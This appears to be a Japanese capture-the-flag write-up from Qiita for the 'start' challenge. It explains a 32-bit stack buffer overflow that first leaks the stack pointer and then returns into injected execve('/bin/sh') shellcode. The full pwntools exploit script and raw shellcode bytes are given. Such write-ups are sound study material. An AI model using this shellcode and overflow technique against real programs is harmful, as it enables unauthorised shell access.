Breakpoint 1, 0x08048066 in _start ()

攻撃の方針としては、20バイト分しかスタック領域が確保されていないのにもかかわらず、60バイト分スタックに書き込めることを用いて、シェルコードの実行を目指す。つまり、以下のようなスタック状態をret時に実現したい。

|----------------------| <- esp
| address of shellcode | <- return address
|----------------------|
|  shellcode           |
|----------------------|

最初の準備として、return addressオーバーフローによる上書きでを0x8048087にすることで、start時のespを表示する。

r.send(b'A'*0x14 + p32(0x08048087))
esp = u32(r.recv(4))
print("esp: ", esp, hex(esp))
# retが終わり、08048087に戻ったときのスタックの様子

| (first padding) |
|-----------------|
|  (0x8048087)    |
|-----------------| <- 現在のesp = ecx = (start時のesp - 4)
|  start時のesp   | 
|-----------------| <- start時のesp

そのあともプログラムは続くので、再び入力を行うことができる。現在のespを先頭にして入力が書き込まれるので、20バイト分をパディングとして用い、シェルコードを(現在のesp + 24 = start時のesp + 20)に配置すればよい。

|-----------------| <- esp = ecx
|  second padding | <- start時のesp = esp + 4
|   (20 byte)     |
|-----------------| 
|start時のesp + 20| (4 byte)
|-----------------| <- start時のesp + 20
|   shellcode     |  
|-----------------|

攻撃用スクリプトは全体として以下の通りとなる。

from pwn import *

"""
shell_code = asm('\n'.join([
    'push %d' % u32('/sh\0'),
    'push %d' % u32('/bin'),
    'xor edx, edx',
    'xor ecx, ecx',
    'mov ebx, esp',
    'mov eax, 0xb',
    'int 0x80',
]))
"""
shell_code = b'h/sh\x00h/bin1\xd21\xc9\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80'

r = process("./start")
print(r.recvuntil(":"))
r.send(b'A'*0x14 + p32(0x08048087))
esp = u32(r.recv(4))
print("esp: ", esp, hex(esp))

r.send(b"B"*0x14 + p32(esp + 0x14) + shell_code)
#r.sendline(b"B"*0x14 + p32(0x804809d))
r.interactive()

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?